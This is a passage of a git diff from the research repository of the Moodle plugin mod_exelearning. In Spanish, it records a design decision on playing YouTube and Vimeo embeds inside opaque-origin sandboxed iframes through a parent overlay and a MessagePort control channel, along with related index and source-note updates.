+- **Problema A — propagación del sandbox (el del modo opaco).** El `sandbox` sin `allow-same-origin`
+  del iframe de contenido **se propaga** al iframe anidado del player → YouTube/Vimeo pierden su origen
+  (`youtube.com`/`vimeo.com`), no acceden a su storage y quedan **en blanco**. Lo arregla **únicamente**
+  promover el player a un contexto no-opaco (overlay/modal en el padre) o `allow-same-origin` (prohibido
+  en el iframe de contenido). **`referrerpolicy` NO lo arregla** (W3C Referrer Policy: "if document's
+  origin is an opaque origin, return no referrer"). Es lo que verificó empíricamente [[DEC-0061]].
+- **Problema B — Error 153 / referrer.** Independiente del sandbox: ocurre **incluso sin** sandbox,
+  cuando el host envía `Referrer-Policy: no-referrer`/`same-origin` y el `<iframe>` del player **no**
+  lleva `referrerpolicy`. YouTube responde `Error 153 (embedder.identity.missing.referrer)`. Lo arregla
+  el **atributo `referrerpolicy` por-iframe**, que **anula** la cabecera de la página (MDN: la
+  precedencia es element-level). Caso real (red Medusa, reportado por Humberto ATE): la infraestructura
+  fijaba `Referrer-Policy: no-referrer` y **Jetpack eliminaba el atributo** `referrerpolicy` del embed
+  (Gutenberg lo ponía a `strict-origin-when-cross-origin`); desactivar esa función de Jetpack lo
+  resolvía. Lección para los embebedores: no dejar que un sanitizador/plugin elimine `referrerpolicy`.
+
+**mod_exelearning ya resuelve ambos**: A con el overlay promote-to-parent y B con
+`referrerpolicy=strict-origin-when-cross-origin` en el player promovido (`DEC-0061:69-70`). Por tanto
+**el vídeo simple ya se ve en opaco** (verificado en vivo en [[DEC-0061]]). Lo que queda abierto es (i)
+**endurecer el trust model** del relay de mod y (ii) **recuperar el vídeo interactivo** sin abandonar la
+UX de overlay inline elegida por erseco.
+
+## Decisión
+
+**Overlay inline endurecido + arreglo del vídeo interactivo en el iDevice.** Se conserva la UX y la
+frontera de seguridad de [[DEC-0061]] (el player lo monta y sandboxea el **host**, no el productor) y se
+incorpora la disciplina de canal del bridge de eXeLearning **sin** cambiar a modal.
+
+1. **Mantener el overlay inline** (`js/exe_embed_relay.js`) como frontera canónica: el player se ve en
+   su sitio (geometría sincronizada), indistinguible de un embed normal. **No** se adopta el modal/
+   lightbox del bridge de eXe (descartado por erseco por la UX).
+
+2. **Endurecer el trust model** del relay alineándolo al patrón del bridge de eXeLearning, hoy más
+   fuerte que el de mod (que sólo usa identidad de ventana + `targetOrigin '*'`):
+   - **nonce por vista** acuñado por el padre en el handshake y exigido en cada mensaje posterior;
+   - **MessageChannel con capability** (`MessagePort` transferido) para el tráfico tras el handshake, de
+     modo que un sub-frame hostil anidado **no tenga referencia al puerto** y no pueda inyectar comandos;
+   - **estrechar el canal**: cruzar sólo `{provider, videoId}` (no la URL del autor) para los proveedores
+     reconocidos y **reconstruir** la URL canónica en el padre desde plantilla fija (elimina la clase
+     *URL-laundering*); **mantener la guarda D1** para el camino genérico OPEN, donde sí se promueve por
+     URL. Reutilizar el módulo de política compartido al estilo de `exe_media_policy.js`.
+   - Factorizar un **relay del padre reutilizable estilo `exe-media-host.js`**, en la medida de lo
+     posible, **pero con renderer de overlay** (no modal), para reducir la triplicación mod/wp/omeka que
+     hoy vigila `tools/check-embed-sync.mjs`.
+
+3. **Arreglar el vídeo interactivo modificando el iDevice de eXeLearning** (autorizado por erseco; es el
+   "arreglo correcto upstream" que [[DEC-0061]]:207-210 ya señalaba que debía vivir en el iDevice):
+   - El iDevice **detecta origen opaco** (`window.origin === 'null'`) y, en ese caso, **enruta su control
+     de reproducción** (play/pause/seek/getCurrentTime/getDuration + eventos `timeupdate`/`ended`/`ready`,
+     más `hide`/`show` para las preguntas cronometradas) por el **canal del bridge endurecido**, en lugar
+     de instanciar directamente `new YT.Player`.
+   - **Clave que evita la fragilidad del prototipo revertido:** con el **overlay** el player real sigue la
+     geometría del `#player` del iDevice, así que **la layout del iDevice (portada/`Inicio`, `float:left`
+     de `#player` al activar, posición de cada slide) permanece en el hijo** y **no** se reconstruye en el
+     padre. El padre sólo ejecuta los comandos de control sobre el player que ya está superpuesto en su
+     sitio. Esto supera la limitación de [[DEC-0061]] (el prototipo se revirtió porque intentaba
+     reconstruir la layout en el padre).
+   - **Degradación grácil:** sin bridge cooperante (o paquete antiguo), el iDevice degrada a embed simple
+     (lo promociona el shim, sin interactividad) o muestra aviso — nunca un frame en blanco.
+   - El canal de control va **autenticado por el mismo nonce/MessagePort** del punto 2 (no abre una vía
+     de confianza nueva).
+
+4. **Higiene de referrer (Problema B), ya presente, confirmada como invariante:** todo player promovido
+   lleva `referrerpolicy=strict-origin-when-cross-origin` (PDF: `no-referrer`). El iframe de **contenido**
+   conserva su `no-referrer`. Evaluar `referrerpolicy=origin` a secas si también resuelve el Error 153
+   (fuga aún menor). Documentar para los embebedores host: fijar la cabecera de respuesta
+   `Referrer-Policy: strict-origin-when-cross-origin` y **no** permitir que un plugin/sanitizador
+   (p. ej. Jetpack en WordPress) elimine el atributo.
+
+5. **Vimeo — caveat operativo de despliegue:** la **privacidad por dominio** de Vimeo valida el **host
+   del Referer**. Con promote-to-parent el player corre en el **padre (origen real del LMS)** y, con
+   `referrerpolicy=strict-origin-when-cross-origin`, Vimeo recibe el **origen del LMS** → la privacidad
+   por dominio funciona **si** el dominio del LMS está en la lista blanca de Vimeo. Los vídeos públicos no
+   dependen de ello. Documentarlo (no es un cambio de código).
+
+### Condiciones de seguridad (invariantes a preservar)
+
+Recogidas de [[DEC-0061]] (§2026-06-14b) y de la verificación adversaria de este diseño:
+
+- El iframe de **contenido** sigue **sin `allow-same-origin`** (origen opaco; invariante de RIE-001).
+- El **player promovido** es cross-origin y va `sandbox="allow-scripts allow-same-origin allow-popups
+  allow-forms allow-presentation"` **sin** `allow-top-navigation` ni `allow-modals`. El `allow-same-origin`
+  aquí es seguro porque el `src` es del **proveedor** (no del LMS) → el SOP lo aísla del host; **no** es
+  el `allow-same-origin` prohibido del iframe de contenido.
+- **Guarda D1** (elimina el player si aterriza same-origin al LMS) y **D2** (los players se excluyen de la
+  autenticación por identidad de ventana, no pueden forjar `sync`) se mantienen.
+- **Default `open` vs `strict`** (`mod_exelearning/embedmode`): se mantiene `open` por defecto, con el
+  razonamiento ya registrado en [[DEC-0061]] §2026-06-14b (el player es cross-origin + sandboxeado → el
+  SOP lo aísla con independencia del host; la lista blanca sólo mitiga phishing/tracking, que el
+  contenido sandboxeado ya puede hacer por otras vías). El **clickjacking del overlay** es un **riesgo
+  residual aceptado** (overlay controlado por el padre, clampado a la caja de contenido, player
+  cross-origin). **Mejora de guía:** documentar para administración cuándo conviene `strict` (cursos con
+  autores no confiables) y dejar el endurecimiento del trust model (punto 2) como cierre de la objeción
+  adversaria sobre la asimetría de validación.
+
+## Actualización (2026-06-28b): corrección tras revisión adversaria del diseño + decisiones de erseco
+
+La revisión adversaria del diseño de implementación (workflow, veredicto `sound:false`) corrige dos
+puntos del apartado **Decisión** y erseco confirma el rumbo:
+
+**1. El nonce NO es un autenticador real aquí — se retira como "endurecimiento".** El iframe es **origen
+opaco con código de autor NO confiable**, y el relay le **entrega el nonce** en el handshake; por tanto
+ese código no confiable lo conoce y puede incluirlo en cualquier mensaje. El autenticador real ya es
+**`event.source === iframe.contentWindow`** (infalsificable por SOP) en los mensajes de ventana, y la
+**posesión del `MessagePort`** transferido en el canal de control. El bridge actual de mod ([[DEC-0061]]:
+event.source + validación de URL + D1/D2 + player cross-origin sandboxeado) **ya era sólido**; el punto 2
+sobrevaloraba el nonce. **Decisión (erseco): sin nonce-como-auth.** El endurecimiento genuino que queda:
+- (a) **canal id-only** `{provider, objectId}` para proveedores reconocidos → el padre reconstruye la URL
+  canónica desde plantilla fija y **revalida** la invariante estructural (https, cross-origin, no-LMS…);
+  reduce la superficie de *URL-laundering*. Se **mantiene D1** para el camino genérico OPEN por URL.
+- (b) **`MessagePort` como capability** = el canal del control de medios de la opción 2 (un sub-frame
+  anidado no tiene el puerto). No autentica frente al código de autor del propio documento (que sí lo
+  tiene), pero es el canal limpio para el control bidireccional.
+
+**2. `hide`/`show` se ELIMINA del canal de control (era clickjacking).** Si el iDevice pudiera ocultar el
+overlay, dejaría ver la UI del LMS detrás. **No hace falta:** la pregunta cronometrada la revela el
+**propio CSS del iDevice en el hijo** (`.active #player{float:left}` encoge/mueve el player y muestra
+`#slide` al lado); el overlay **solo sigue la geometría del `#player`** (ya reportada por mutación/resize),
+así que la pregunta aparece en el hueco liberado sin que el padre oculte nada. El canal de control queda
+en **`play`/`pause`/`seek`/`getCurrentTime`/`getDuration`** + eventos **`timeupdate`/`ready`/`ended`/`error`**
+(con `requestId` para respuestas async). Sin `hide`/`show`.
+
+**3. Control del player promovido por raw `postMessage` (`enablejsapi=1`), NO por SDK externo.** Para
+pausar en el cue y leer `currentTime` de un iframe cross-origin de YouTube/Vimeo, el relay del padre crea
+el player con `enablejsapi=1` (+ `origin`) y lo controla **posteando `{event:'command',func:…}`** al
+iframe y **parseando** sus eventos (`onReady`, `infoDelivery` con `currentTime`/`duration`,
+`onStateChange`). **Decisión (erseco): NO se carga la YouTube IFrame API ni el Vimeo Player SDK en la
+página de Moodle** (evita ejecutar script externo en la página de confianza del LMS y ampliar la CSP
+`script-src`). El relay traduce los comandos del iDevice (que llegan por el `MessagePort`) a estos
+`postMessage` al player, y reenvía los eventos del player al iDevice por el puerto.
+
+Resultado: la **opción 1** se reduce a su parte con valor real (**id-only** + mantener event.source/D1/D2;
+**sin** refactor a nonce), y la **opción 2** es el grueso (canal de control por `MessagePort` + control del
+player por raw postMessage + cambio en el iDevice). La revisión adversaria del **código** (no del diseño)
+se hará al cerrar la implementación.
+
+## Consecuencias
+
+- **Implementación en curso (2026-06-28b)** con tests unitarios (TDD/Vitest), tras la corrección del
+  diseño: en mod, **id-only** + el **canal de control por `MessagePort`** (sin nonce, sin hide/show) +
+  control del player por raw `postMessage`; cambios en el iDevice de vídeo interactivo de eXeLearning;
+  paridad en `wp-exelearning`/`omeka-s-exelearning` como seguimiento.
+- **Recupera el vídeo interactivo remoto en secure** sin renunciar al overlay inline, cerrando la
+  limitación de [[DEC-0061]] y el `[PENDIENTE]` #1 de [[AN-015]].
+- **Reduce la triplicación** mod/wp/omeka al compartir el módulo de política + el relay reutilizable;
+  `tools/check-embed-sync.mjs` sigue como anti-drift mientras no haya infra compartida.
+- **No reabre** los vectores cerrados por el modo opaco: el endurecimiento sólo añade defensa
+  (nonce/capability); las invariantes de sandbox no cambian.
+
+## Seguimiento (implementación; fuera de alcance de esta entrega)
+
+- **mod_exelearning:** evolucionar `js/exe_embed_relay.js` + `js/exe_embed_shim.js` al handshake
+  endurecido: **canal id-only** + **canal de control por `MessagePort`** (sin nonce-como-auth, sin
+  hide/show); control del player por raw `postMessage` (`enablejsapi=1`); Vitest del nuevo contrato;
+  `tools/check-embed-sync.mjs` a 0 drift; e2e Playwright en sandbox opaco real con
+  `research/fixtures/elpx/remote-embeds.elpx` (control shim on/off + interactivo que pausa y dispara la
+  pregunta en el segundo configurado).
+- **eXeLearning (upstream):** modificar el iDevice `interactive-video` (y `quick-questions-video`,
+  YouTube-only) para detectar origen opaco y conducir el control por el bridge; degradación grácil.
+- **wp-exelearning:** hoy tiene el **espejo viejo** (`exe-embed-shim.js` + `exe-embed-relay.js` +
+  `exelearning-media-modal.js`); "hacer lo mismo" = adoptar el contrato endurecido + el arreglo de vídeo
+  interactivo cuando aterricen en mod (mantener paridad). Añadir la nota operativa Jetpack/Referrer-Policy
+  del Problema B en su documentación.
+- **Lenguaje/ajustes:** si la implementación añade strings o ajustes, respetar el namespace `exelearning`
+  (no `mod_`), prefijo `~` para traducción automática pendiente ([[DEC-0020]]), orden alfabético y paridad
+  de idiomas.
diff --git a/research/docs/indices/adrs.yaml b/research/docs/indices/adrs.yaml
index 107ac41..6d91186 100644
--- a/research/docs/indices/adrs.yaml
+++ b/research/docs/indices/adrs.yaml
@@ -58,5 +58,12 @@ items:
   - id: 'DEC-0056', titulo: 'Tests JS del tracker SCORM con Vitest; extracción del shim de view.php a js/scorm_tracker.js (fuente única, inyección inline)', estado: 'Aceptada', fecha: '2026-06-12', ruta: 'decisiones/adr/DEC-0056-tests-js-tracker-scorm-vitest.md'
   - id: 'DEC-0057', titulo: 'Extracción de paquete no-destructiva: validar la nueva revisión antes de podar la anterior (issue 73)', estado: 'Aceptada', fecha: '2026-06-13', ruta: 'decisiones/adr/DEC-0057-extraccion-no-destructiva.md'
   - id: 'DEC-0058', titulo: 'Build de release reproducible: fijar el editor al tag homónimo (semver-match), no a la rama main', estado: 'Aceptada', fecha: '2026-06-13', ruta: 'decisiones/adr/DEC-0058-fijar-editor-tag-en-release.md'
+  - id: 'DEC-0059', titulo: 'Bridge SCORM por postMessage + iframe de origen opaco (modo seguro configurable): implementación de RIE-001 Tier 2', estado: 'Aceptada', fecha: '2026-06-13', ruta: 'decisiones/adr/DEC-0059-bridge-scorm-postmessage-origen-opaco.md'
+  - id: 'DEC-0060', titulo: 'Modo iframe seguro funcional: servir el contenido opaco por tokenpluginfile + CSP + watchdog (corrige la Ruta A de DEC-0059)', estado: 'Aceptada', fecha: '2026-06-13', ruta: 'decisiones/adr/DEC-0060-iframe-seguro-tokenpluginfile.md'
+  - id: 'DEC-0061', titulo: 'Embeds externos en modo seguro: promover YouTube/Vimeo/PDF al padre (overlay inline) — standalone, sin subdominio', estado: 'Aceptada', fecha: '2026-06-14', ruta: 'decisiones/adr/DEC-0061-embeds-externos-promote-to-parent.md'
+  - id: 'DEC-0062', titulo: 'Fix: el bridge SCORM seguro nunca guardaba nota porque el get() de pipwerks no miraba la ventana local', estado: 'Aceptada', fecha: '2026-06-14', ruta: 'decisiones/adr/DEC-0062-fix-pipwerks-get-api-local-origen-opaco.md'
   - id: 'DEC-0063', titulo: 'Reglas de validación canónica del endpoint xAPI y política de versión (1.0.3 con tolerancia a 2.0)', estado: 'Propuesta', fecha: '2026-06-17', ruta: 'decisiones/adr/DEC-0063-validacion-canonica-endpoint-xapi-y-version.md'
   - id: 'DEC-0064', titulo: 'Implementación de la ingesta xAPI (TAREA-015): xAPI-primary para paquetes nuevos, SCORM inerte, overall desde el statement de paquete, siempre activo', estado: 'Aceptada', fecha: '2026-06-18', ruta: 'decisiones/adr/DEC-0064-implementacion-ingesta-xapi.md'
+  - id: 'DEC-0065', titulo: 'xAPI sobre el bridge seguro: el listener confía por identidad de ventana en el iframe opaco (extiende DEC-0064 al modo seguro de DEC-0059)', estado: 'Aceptada', fecha: '2026-06-19', ruta: 'decisiones/adr/DEC-0065-xapi-bridge-seguro-identidad-ventana.md'
+  - id: 'DEC-0066', titulo: 'Teacher-mode por parámetro core `?exe-teacher` (sin inyección CSS): compatible con origen opaco; supersede el hider de DEC-0046', estado: 'Aceptada', fecha: '2026-06-28', ruta: 'decisiones/adr/DEC-0066-teacher-mode-parametro-core-exe-teacher.md'
+  - id: 'DEC-0067', titulo: 'Estrategia unificada de medios externos en origen opaco: overlay inline + canal id-only + control del vídeo interactivo por MessagePort (sin nonce-como-auth)', estado: 'Aceptada', fecha: '2026-06-28', ruta: 'decisiones/adr/DEC-0067-estrategia-unificada-media-externo-opaco.md'
diff --git a/research/docs/indices/diario.yaml b/research/docs/indices/diario.yaml
index 2d67564..a68d297 100644
--- a/research/docs/indices/diario.yaml
+++ b/research/docs/indices/diario.yaml
@@ -20,9 +20,13 @@ items:
   - ruta: 'tareas/diario/2026-06-10-geogebra-issue-29.yaml', fecha: '2026-06-10'
   - ruta: 'tareas/diario/2026-06-12-tests-js-tracker-scorm.yaml', fecha: '2026-06-12'
   - ruta: 'tareas/diario/2026-06-13-reconciliacion-stable-y-behat.yaml', fecha: '2026-06-13'
+  - ruta: 'tareas/diario/2026-06-13-secure-iframe-playground-watchdog.yaml', fecha: '2026-06-13'
+  - ruta: 'tareas/diario/2026-06-13-secure-iframe-scorm-bridge.yaml', fecha: '2026-06-13'
+  - ruta: 'tareas/diario/2026-06-13-secure-iframe-tokenpluginfile.yaml', fecha: '2026-06-13'
   - ruta: 'tareas/diario/2026-06-17-adr-validacion-xapi-y-2.0.yaml', fecha: '2026-06-17'
   - ruta: 'tareas/diario/2026-06-17-decisiones-endpoint-y-roadmap.yaml', fecha: '2026-06-17'
   - ruta: 'tareas/diario/2026-06-17-investigacion-adl-xapi.yaml', fecha: '2026-06-17'
   - ruta: 'tareas/diario/2026-06-17-limpieza-fixtures.yaml', fecha: '2026-06-17'
   - ruta: 'tareas/diario/2026-06-17-limpieza-research.yaml', fecha: '2026-06-17'
   - ruta: 'tareas/diario/2026-06-18-impl-xapi-ingesta.yaml', fecha: '2026-06-18'
+  - ruta: 'tareas/diario/2026-06-19-xapi-secure-bridge.yaml', fecha: '2026-06-19'
diff --git a/research/docs/indices/notas.yaml b/research/docs/indices/notas.yaml
index bf5fe21..ded7995 100644
--- a/research/docs/indices/notas.yaml
+++ b/research/docs/indices/notas.yaml
@@ -14,3 +14,5 @@ items:
   - id: 'AN-012', titulo: 'Mapeo de statements xAPI (exe_xapi.js) sobre la tubería de tracking existente', estado: None, fecha: '2026-06-04', ruta: 'analisis/notas/AN-012-mapeo-xapi-a-tuberia-existente.md'
   - id: 'AN-013', titulo: 'Reuso de tests Behat de plugins hermanos (mod_scorm, mod_h5pactivity, mod_exescorm, mod_exeweb) en mod_exelearning', estado: None, fecha: '2026-06-13', ruta: 'analisis/notas/AN-013-reuso-behat-plugins-hermanos.md'
   - id: 'AN-014', titulo: 'Qué aporta el ecosistema ADL/xAPI (cmi5launch, Moodle-PHP-Libs, xAPI-Spec, xAPI.js) a la integración xAPI de mod_exelearning', estado: None, fecha: '2026-06-17', ruta: 'analisis/notas/AN-014-ecosistema-adl-xapi-mejoras-spec.md'
+  - id: 'AN-015', titulo: 'Comparativa: soluciones de embeds de vídeo (YouTube/Vimeo) en contenido no confiable — mod_exelearning vs procomún vs eXeLearning vs el paper', estado: None, fecha: '2026-06-19', ruta: 'analisis/notas/AN-015-comparativa-soluciones-video-embeds.md'
+  - id: 'AN-015', titulo: 'Detección por contenido en la migración legacy: criterio content.xml', estado: None, fecha: '2026-06-22', ruta: 'analisis/notas/AN-015-deteccion-content-xml-migracion.md'
diff --git a/research/docs/indices/repos.yaml b/research/docs/indices/repos.yaml
index b61e20c..4066878 100644
--- a/research/docs/indices/repos.yaml
+++ b/research/docs/indices/repos.yaml
@@ -9,3 +9,5 @@ items:
   - id: 'REPO-007', titulo: 'tool_migratehvp2h5p — migración oficial mod_hvp → mod_h5pactivity (Moodle HQ)', estado: None, fecha: None, ruta: 'fuentes/repositorios/REPO-007-tool-migratehvp2h5p.md'
   - id: 'REPO-008', titulo: 'Moodle-mod_cmi5launch (ADL) — módulo de referencia de ingesta xAPI/cmi5 → gradebook', estado: None, fecha: None, ruta: 'fuentes/repositorios/REPO-008-moodle-mod-cmi5launch.md'
   - id: 'REPO-009', titulo: 'Moodle-PHP-Libs (ADL) — vendor-bundle de Composer, DESCARTADO como dependencia', estado: None, fecha: None, ruta: 'fuentes/repositorios/REPO-009-moodle-php-libs.md'
+  - id: 'REPO-010', titulo: 'Procomún — plataforma de recursos educativos que abre .elpx de forma segura', estado: None, fecha: None, ruta: 'fuentes/repositorios/REPO-010-procomun.md'
+  - id: 'REPO-011', titulo: 'Paper de seguridad — contenido no confiable en LMS (SoK / principio de origen opaco + promote-to-parent)', estado: None, fecha: None, ruta: 'fuentes/repositorios/REPO-011-paper-seguridad-lms.md'
diff --git a/research/fixtures/elpx/external-embeds-demo.elpx b/research/fixtures/elpx/external-embeds-demo.elpx
new file mode 100644
index 0000000..042c2fb
Binary files /dev/null and b/research/fixtures/elpx/external-embeds-demo.elpx differ
diff --git a/research/fixtures/elpx/interactive-video-youtube-vimeo-quiz.elpx b/research/fixtures/elpx/interactive-video-youtube-vimeo-quiz.elpx
new file mode 100644
index 0000000..f0a8797
Binary files /dev/null and b/research/fixtures/elpx/interactive-video-youtube-vimeo-quiz.elpx differ
diff --git a/research/fixtures/elpx/remote-embeds.elpx b/research/fixtures/elpx/remote-embeds.elpx
new file mode 100644
index 0000000..918af30
Binary files /dev/null and b/research/fixtures/elpx/remote-embeds.elpx differ
diff --git a/research/fixtures/elpx/testing-the-sandbox.elpx b/research/fixtures/elpx/testing-the-sandbox.elpx
new file mode 100644
index 0000000..bfb5453
Binary files /dev/null and b/research/fixtures/elpx/testing-the-sandbox.elpx differ
diff --git a/research/fixtures/elpx/vimeo-embed.elpx b/research/fixtures/elpx/vimeo-embed.elpx
new file mode 100644
index 0000000..1f19931
Binary files /dev/null and b/research/fixtures/elpx/vimeo-embed.elpx differ
diff --git a/research/fixtures/elpx/youtube-embed.elpx b/research/fixtures/elpx/youtube-embed.elpx
new file mode 100644
index 0000000..273cf30
Binary files /dev/null and b/research/fixtures/elpx/youtube-embed.elpx differ
diff --git a/research/fuentes/repositorios/REPO-010-procomun.md b/research/fuentes/repositorios/REPO-010-procomun.md
new file mode 100644
index 0000000..c426b55
--- /dev/null
+++ b/research/fuentes/repositorios/REPO-010-procomun.md
@@ -0,0 +1,43 @@
+---
+id: REPO-010
+titulo: "Procomún — plataforma de recursos educativos que abre .elpx de forma segura"
+tipo: lms-consumer
+ruta_local: /Users/ernesto/Downloads/git/procomun
+rama_consultada: fix/apertura-segura-elpx
+commit_consultado: "18b8d1a4 (clon local 2026-06-19)"
+fecha_consulta: 2026-06-19
+licencia: "[PENDIENTE: confirmar]"
+rol_para_mod_exelearning: "Consumidor/player hermano: renderiza paquetes .elpx no confiables con origen opaco y promociona los embeds de vídeo/PDF al padre (mismo modelo de seguridad que DEC-0061, variante click→modal). Punto de comparación de la solución de embeds."
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Hechos
+
+- **Rol:** plataforma (Astro/React + API) que cataloga y previsualiza recursos `.elpx`. Como
+  `mod_exelearning`, es un **consumidor** de paquetes no confiables (no el productor).
+- **Apertura segura del `.elpx` (ADR-0026/0027):** sirve el contenido del autor en un iframe cuyo
+  `sandbox` **omite `allow-same-origin`** (origen opaco, `origin="null"`); además repite el sandbox
+  como **directiva CSP `sandbox`** en la respuesta HTTP (`elpx-content.ts:224-225`), así que la
+  opacidad aguanta aunque se abra en pestaña nueva. CSP también fija `frame-src 'self' https:`,
+  `frame-ancestors 'self'`, `connect-src 'self'`.
+- **Embeds promote-to-parent (variante click→modal):** la opacidad se propaga a los iframes anidados
+  → YouTube/Vimeo/PDF salen en blanco. Solución = un **shim** en el contenido
+  (`apps/api/static/elpx/embed-shim.js`) que detecta origen opaco, sustituye cada embed por una
+  fachada y postMessea `{url, geometría}` al padre; un **relay** en el padre
+  (`use-elpx-embed-relay.ts`) autentica por **identidad de ventana** (`event.source === contentWindow`,
+  no por `event.origin` que es `"null"`), valida la URL (`classifyEmbed`, `elpx-embed-policy.ts`:
+  https + sin userinfo + cross-origin) y abre un **modal/lightbox** (`EmbedModal.tsx`) con el player
+  real en el origen del proveedor (SOP lo aísla del host).
+- **YouTube:** canonicaliza a `youtube-nocookie` (`elpx-embed-policy.ts:64-78`). **Vimeo: SIN rama
+  de canonicalización** (sólo funciona por promoción genérica open-mode, sin reescritura de privacidad).
+- **Trampas/limitaciones:** el modo open no tiene allowlist (cualquier https cross-origin se promociona);
+  el player del modal mantiene `allow-same-origin` (seguro **sólo** porque la URL está garantizada
+  cross-origin); PDF sin sandbox (visor nativo); fachada en thumbnails que no monta modal (UI muerta);
+  requiere `Access-Control-Allow-Origin: *` + `crossorigin=anonymous` en los `<script>` del paquete;
+  interactive-video roto (misma limitación que DEC-0061).
+- **Documentación propia:** `docs/negocio/decisiones/0026-apertura-segura-elpx.md`,
+  `0027-reproduccion-segura-embeds-elpx.md`. Commits `cda2d108`, `34aadfab`, `18b8d1a4`.
+
+Comparado en detalle en **AN-015**.
diff --git a/research/fuentes/repositorios/REPO-011-paper-seguridad-lms.md b/research/fuentes/repositorios/REPO-011-paper-seguridad-lms.md
new file mode 100644
index 0000000..1f6a379
--- /dev/null
+++ b/research/fuentes/repositorios/REPO-011-paper-seguridad-lms.md
@@ -0,0 +1,42 @@
+---
+id: REPO-011
+titulo: "Paper de seguridad — contenido no confiable en LMS (SoK / principio de origen opaco + promote-to-parent)"
+tipo: paper
+ruta_local: /Users/ernesto/Downloads/git/lms-untrusted-content-security-paper
+rama_consultada: main
+commit_consultado: "bb8fbc1 (clon local 2026-06-19)"
+fecha_consulta: 2026-06-19
+licencia: "CC-BY + MIT (dual)"
+rol_para_mod_exelearning: "Marco teórico (SoK) del problema que DEC-0059/0061 implementan: ejecutar JS de autor no confiable en el MISMO origen que la sesión LMS es el peligro; la mitigación es origen opaco + CSP sandbox + bridge postMessage validado. Nombra el modelo promote-to-parent para vídeo."
+herramienta_ia:
+  interfaz: claude-code
+  modelo: claude-opus-4-8
+---
+
+## Hechos
+
+- **Tesis central:** el peligro no es «JavaScript» sino ejecutar JS de **autor no confiable** en el
+  **mismo origen** que la sesión autenticada del LMS. Mitigación: renderizar el recurso entero
+  (`.elpx`/SCORM/`mod_page`) en un **iframe de origen opaco** (`sandbox allow-scripts` SIN
+  `allow-same-origin` → `origin=null`) + directiva **CSP `sandbox`** en la respuesta + **bridge
+  `postMessage` validado** para el estado.
+- **Dilema central (§6.2, `:249`):** el origen opaco **rompe los embeds de terceros** (YouTube/Vimeo)
+  porque los flags `sandbox` **se propagan** a los iframes anidados (el player hereda el origen opaco
+  y pierde el suyo → blanco).
+- **Solución de vídeo (§6.2/§6.3, `:295,297,299,303`):** **promote-to-parent** — el relay del padre
+  (fuera del sandbox) valida el mensaje por **identidad de ventana** (`event.source === iframe.contentWindow`,
+  NO `event.origin` que es `"null"`; contrasta con el origen-trust roto de H5P), revalida la URL
+  (https + cross-origin), y monta el player real en el padre, donde el SOP lo aísla — «**el modelo de
+  confianza que Moodle ya usa para incrustar YouTube**» (`:299`). Invariante **sin allowlist**
+  (`https + cross-origin al LMS`, `:303`) que cubre YouTube/Vimeo/Dailymotion; alternativas
+  conservadoras = modo estricto (allowlist) y oEmbed server-side.
+- **Defensa en profundidad:** CSP de respuesta con `connect-src 'self'` (cierra el exfil principal),
+  `object-src 'none'`, `frame-ancestors 'self'`, `base-uri 'none'`; residuo acotado = pixel GET que
+  exfiltra el token de fichero de **sólo lectura** (no el `sesskey`, confinado al padre) vía
+  `img/media/frame-src https:`; un perfil CSP estricto opcional lo cierra.
+- Variante **fachada+modal** citada como más simple (sin sincronía de geometría), mismo modelo de
+  seguridad (`:297`).
+- Fuentes: `seguridad-html-js-recursos-educativos.md` (ES) + `security-html-js-educational-resources.en.md`
+  (EN) + `anexos-tecnicos.md`. Verificación adversarial del bridge 7/7 (`:280`).
+
+Es el marco del que parten DEC-0059/DEC-0060/DEC-0061. Comparado en **AN-015**.
diff --git a/research/status.yaml b/research/status.yaml
index 2d3099a..938a23c 100644
--- a/research/status.yaml
+++ b/research/status.yaml
@@ -398,6 +398,52 @@ decisiones_bloqueantes:
       las vías (el editor pasa de irrecuperable a recuperable). Resuelve RIE-019. Promueve maturity
       BETA->STABLE (consecuencia, no decisión aparte; version sentinel intacto, DEC-0030). 263 tests
       verdes (make test). Tests nuevos: 6 en package_manager_extract_test, 2 en lib_test.
+  DEC-0059:
+    titulo: "Bridge SCORM por postMessage + iframe de origen opaco (modo seguro configurable): RIE-001 Tier 2"
+    estado: Aceptada
+    ruta: decisiones/adr/DEC-0059-bridge-scorm-postmessage-origen-opaco.md
+    fecha: 2026-06-13
+    relacionados: [DEC-0019, RIE-001, AN-008, DEC-0017, DEC-0042]
+    notas: >-
+      Implementa el Tier 2 que DEC-0019 dejó para "su propio ADR" (no lo supersede). Ajuste
+      global mod_exelearning/iframemode (secure por defecto | legacy de respaldo,
+      \mod_exelearning\local\ui\player_iframe, fail-safe a secure). Modo secure: iframe sandbox
+      sin allow-same-origin (origen opaco) ni allow-popups-to-escape-sandbox; el shim window.API
+      vive DENTRO del iframe (js/scorm_bridge_shim.js, copiado a libs/exe_scorm_bridge.js e
+      inyectado por scorm_injector al inicio de <head>), reutiliza js/scorm_tracker.js vía nueva
+      opción transport, resuelve objectid en su propio DOM y postMessea los deltas al relevo del
+      padre (js/scorm_bridge_relay.js), que valida por identidad de ventana + nonce + acción
+      cerrada y hace el POST a track.php (sesskey sólo en el padre; flush por sendBeacon en
+      pagehide). Polyfill de localStorage/sessionStorage en el shim (origen opaco lanza
+      SecurityError; lo usan exe_atools/exe_export/checklist/edicuatex). Linchpin: pipwerks find()
+      mira window.API local primero (SCORM_API_wrapper.js:71-106). Legacy = comportamiento actual
+      byte-a-byte. phpcs 0/0; Vitest 40/40 (24 nuevos); PHPUnit player_iframe_test + Behat en CI.
+      RIE-001 -> mitigado. OJO: su Ruta A (servir el iframe opaco por pluginfile normal) fue
+      REFUTADA en verificación y corregida por DEC-0060.
+  DEC-0060:
+    titulo: "Modo iframe seguro funcional: servir el contenido opaco por tokenpluginfile + CSP + watchdog (corrige Ruta A de DEC-0059)"
+    estado: Aceptada
+    ruta: decisiones/adr/DEC-0060-iframe-seguro-tokenpluginfile.md
+    fecha: 2026-06-13
+    relacionados: [DEC-0059, DEC-0019, RIE-001, AN-008, DEC-0017]
+    notas: >-
+      Verificado en navegador (Chrome DevTools, Moodle real :80): la Ruta A de DEC-0059 (iframe
+      opaco servido por pluginfile normal) NO carga los subrecursos: un documento de origen opaco
+      no envía la cookie SameSite=Lax (session/manager.php:513-518) y pluginfile exige login -> CSS/
+      JS/shim 404. Corrección: servir el iframe por tokenpluginfile (make_pluginfile_url includetoken;
+      token core_files de TTL corto en la RUTA, lo arrastran los subrecursos relativos -> cargan sin
+      cookie). tokenpluginfile valida el token y SIGUE aplicando require_capability (solo lectura de
